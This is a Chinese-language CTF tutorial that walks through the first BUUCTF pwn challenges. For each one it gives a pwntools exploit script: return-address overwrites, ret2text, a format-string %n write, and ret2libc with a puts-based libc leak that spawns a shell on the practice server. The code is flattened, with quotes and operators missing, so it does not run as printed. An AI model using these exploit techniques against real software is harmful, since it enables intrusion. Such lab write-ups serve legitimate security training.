Pwn 入门实战:BUUCTF 前 10 题栈溢出漏洞利用与 payload 构造精讲(附 10 个完整 EXP)

发布时间:2026/7/11 5:01:07
Pwn 入门实战:BUUCTF 前 10 题栈溢出漏洞利用与 payload 构造精讲(附 10 个完整 EXP) Pwn 入门实战BUUCTF 前 10 题栈溢出漏洞利用与 payload 构造精讲1. 环境准备与基础知识在开始实战之前我们需要准备好必要的工具和环境。首先确保你已经安装了以下工具pwntoolsPython的CTF框架和漏洞利用开发库GDBGNU调试器用于动态分析程序checksec检查二进制文件安全属性的工具ROPgadget用于查找ROP链的工具pip install pwntools sudo apt install gdb checksec ropgadget栈溢出漏洞利用的基本原理是通过覆盖函数的返回地址控制程序执行流。在32位系统中函数调用时会将参数压栈而在64位系统中前六个参数通过寄存器传递rdi, rsi, rdx, rcx, r8, r9。2. test_your_nc - 最简单的入门题这道题目是最基础的网络连接测试题主要目的是让初学者熟悉nc命令的使用。from pwn import * p remote(node5.buuoj.cn, 25903) p.sendline(bls) p.sendline(bcat flag) print(p.recvall())关键点直接连接给定的端口发送基本命令获取flag不需要任何漏洞利用技术3. rip - 基础栈溢出与返回地址覆盖这道题展示了最基本的栈溢出利用方式。程序使用了不安全的gets函数导致我们可以覆盖返回地址。from pwn import * p remote(node5.buuoj.cn, 25903) ret 0x0000000000401016 func_addr 0x401186 payload ba*(0xF0x8) p64(ret) p64(func_addr) p.sendline(payload) p.interactive()漏洞分析使用gets函数读取输入没有长度限制计算偏移量0xF字节的缓冲区 8字节的RBP需要添加一个ret指令地址来对齐栈栈对齐问题最后覆盖返回地址为目标函数地址4. warmup_csaw_2016 - 直接跳转到后门函数这道题同样存在gets函数导致的栈溢出并且程序中有一个直接获取flag的后门函数。from pwn import * p remote(node5.buuoj.cn, 25450) func_addr 0x40060D payload ba*0x48 p64(func_addr) p.sendline(payload) p.interactive()技术要点偏移量计算0x48字节不需要考虑栈对齐问题直接跳转到后门函数获取flag5. ciscn_2019_n_1 - 浮点数与栈溢出的结合这道题需要覆盖一个浮点变量使其等于特定值(11.28125)或者直接覆盖返回地址。from pwn import * p remote(node5.buuoj.cn, 26340) # 方法1直接覆盖返回地址 flag_addr 0x4006BE payload ba*0x38 p64(flag_addr) # 方法2覆盖浮点变量 payload ba*44 p64(0x41348000) # 11.28125的十六进制表示 p.sendline(payload) p.interactive()技术细节11.28125的IEEE 754表示为0x41348000两种方法都可以成功获取flag展示了不同类型变量在栈上的布局6. pwn1_sctf_2016 - 字符串替换与栈溢出这道题有一个有趣的字符串替换机制将输入的I替换为you这可以让我们绕过长度限制构造更长的payload。from pwn import * p remote(node5.buuoj.cn, 25591) flag_addr 0x08048F13 payload bI*21 ba*0x1 p64(flag_addr) p.sendline(payload) p.interactive()关键技巧利用I被替换为you的特性可以构造更长的payload原始输入限制为32字节但通过替换可以扩展需要精确计算偏移量7. jarvisoj_level0 - 经典ret2text这道题是典型的ret2text程序中有system(/bin/sh)的后门函数。from pwn import * p remote(node5.buuoj.cn, 25252) callsystem 0x400596 payload ba*0x88 p64(callsystem) p.send(payload) p.interactive()技术要点偏移量计算0x88字节直接跳转到后门函数不需要考虑参数传递8. [第五空间2019 决赛]PWN5 - 格式化字符串漏洞这道题展示了格式化字符串漏洞的利用需要覆盖特定内存地址的值。from pwn import * context.log_level debug p process(./pwn32) bss 0x0804C044 payload p32(bss) b%10$n p.send(payload) p.send(b4) p.interactive()漏洞分析使用格式化字符串漏洞覆盖内存%n会将已输出的字符数写入指定地址需要计算格式化字符串参数的位置这里是第10个参数9. jarvisoj_level2 - ret2libc基础这道题没有提供后门函数需要使用ret2libc技术调用system(/bin/sh)。from pwn import * p remote(node5.buuoj.cn, 25886) elf ELF(./level2) system elf.symbols[system] binsh next(elf.search(b/bin/sh\x00)) payload ba*(0x880x4) p32(system) baaaa p32(binsh) p.send(payload) p.interactive()技术要点在程序中查找system函数和/bin/sh字符串构造ROP链返回地址 虚假返回地址 参数32位系统中参数通过栈传递10. ciscn_2019_n_8 - 数组越界与变量覆盖这道题通过数组越界覆盖特定变量展示了不同类型变量在内存中的布局。from pwn import * p remote(node5.buuoj.cn, 26710) payload ba*13*4 p8(0x11) p.sendline(payload) p.interactive()漏洞分析通过数组越界覆盖特定变量需要理解结构体/数组在内存中的布局qword类型占用4个字节题目环境11. ciscn_2019_c_1 - 进阶ret2libc这道题需要先泄露libc地址再构造system(/bin/sh)调用。from pwn import * elf ELF(1) p remote(node5.buuoj.cn, 25827) libc ELF(libc-2.27.so_18_64) puts_plt elf.symbols[puts] puts_got elf.got[puts] main_addr 0x4009A0 rdi 0x0000000000400c83 ret 0x00000000004006b9 # 第一次payload泄露puts地址 payload1 ba*0x58 p64(rdi) p64(puts_got) p64(puts_plt) p64(main_addr) p.sendlineafter(b1\n, b1) p.sendline(payload1) puts_addr u64(p.recvuntil(b\n)[:-1].ljust(8,b\0)) # 计算system和/bin/sh地址 offset puts_addr - libc.sym[puts] sys_addr offset libc.sym[system] bin_addr offset next(libc.search(b/bin/sh)) # 第二次payload调用system payload2 ba*0x58 p64(rdi) p64(bin_addr) p64(ret) p64(sys_addr) p.sendlineafter(b1\n, b1) p.sendline(payload2) p.interactive()高级技巧使用puts泄露libc地址计算libc基址和关键函数地址考虑栈对齐问题添加ret指令两次payload构造第一次泄露第二次攻击12. 调试技巧与常见问题解决在实际漏洞利用过程中经常会遇到各种问题。以下是一些实用的调试技巧GDB调试gdb.attach(p, break *0x400123 continue )栈对齐问题在64位系统中调用system前需要确保rsp是16字节对齐的可以通过添加ret指令来调整栈指针payload构造检查print(hexdump(payload)) # 检查payload结构libc版本问题不同libc版本函数偏移可能不同可以使用LibcSearcher自动查找匹配的libcfrom LibcSearcher import * libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system)通过这10道题目的实战我们系统性地学习了栈溢出漏洞的利用技术从最基础的返回地址覆盖到复杂的ret2libc攻击。掌握这些技术后你已经具备了解决大多数栈溢出漏洞题目的能力。